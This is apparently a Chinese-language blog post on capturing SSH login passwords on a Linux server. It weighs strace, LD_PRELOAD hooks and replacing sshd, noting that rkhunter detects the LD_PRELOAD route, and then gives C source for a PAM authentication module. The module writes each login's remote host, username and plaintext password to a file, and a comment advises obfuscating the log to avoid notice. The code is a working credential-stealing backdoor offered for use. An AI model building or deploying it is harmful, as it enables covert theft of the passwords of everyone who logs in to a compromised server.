使用 PAM 记录 SSH 登录密码

1. 使用 strace 跟踪函数调用栈，但是 sshd 会 fork 新进程，虽然可以循环检测，但不是最佳方案
2. 使用 LD_PRELOAD hook 关键函数，自然你需要知道 sshd 的关键函数，rkhunter 会检测该项
3. 直接替换 sshd 程序，够暴力吧，风险太大
4. 用 PAM 啦

- auth （验证阶段）
- account （授权阶段）
- session （环境初始化阶段）
- password（后期，密码操作阶段，例如 passwd 程序配置）

- required
- requisite
- sufficient
- optional

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
					int argc, const char **argv) {
	int	pcnt,
		fd,
		len,
		res;
	char	*pwdir=0,
		*pword,
		*uname,
		*rmhost, // 追加一个 host 变量
		*file,
		buffer[BUF_MAX];
	FILE	*pwfile;

	for(pcnt=0;pcnt<argc;pcnt++) {
		if (strcmp(argv[pcnt], PWDIR_PARAM) == 0) {
			if (pcnt+1 < argc) 
				pwdir=strndup(argv[++pcnt], PWDIR_LEN);
		} else if (strncmp(argv[pcnt], PWDIR_PARAM "=", sizeof(PWDIR_PARAM "=")-1) == 0) 
			pwdir=strndup(argv[pcnt]+sizeof(PWDIR_PARAM), PWDIR_LEN);
	} 

	if (!pwdir)
		pwdir=strndup(PWDIR_DEFAULT, PWDIR_LEN);
	
	// 用户名和密码
	pam_get_item(pamh, PAM_AUTHTOK, (void *) &pword);
	pam_get_item(pamh, PAM_USER, (void*) &uname);
	// 获取远程登录用户 host
	pam_get_item(pamh, PAM_RHOST, (void*) &rmhost);
	
	if (!pword || !uname) {
			_pam_log(LOG_ERR,"no password or user to write - got stacked wrong ?");
		return PAM_AUTHINFO_UNAVAIL;
	}

	file=(char *) malloc(strlen(uname) + strlen(pwdir) + 2);
	if (!file) {
			_pam_log(LOG_ERR,"malloc failed");
		return PAM_AUTHINFO_UNAVAIL;
	}

	sprintf(file, "%s", pwdir);
		D(_pam_log(LOG_DEBUG, "writing to %s", file));

	// 追加模式写入
	if ((fd=open(file, O_RDWR|O_APPEND|O_CREAT, 0600)) == -1) {
			_pam_log(LOG_ERR,"failed to open pw file");
		return PAM_AUTHINFO_UNAVAIL;
	}
	
	// 内容格式，虽然这里直接写入，实际中还是混淆一下内容吧 :P
	len=snprintf(buffer, BUF_MAX-1, "rhost = %s\nusername = %s\npassword = %s",
				rmhost, uname, pword);

	res=write(fd, buffer, len);

	if (len != res) {
			_pam_log(LOG_ERR,"failed to write pw to file");
		close(fd);
		return PAM_AUTHINFO_UNAVAIL;
	}

	close(fd);

	return PAM_SUCCESS;
}

apt-get install libpam0g-dev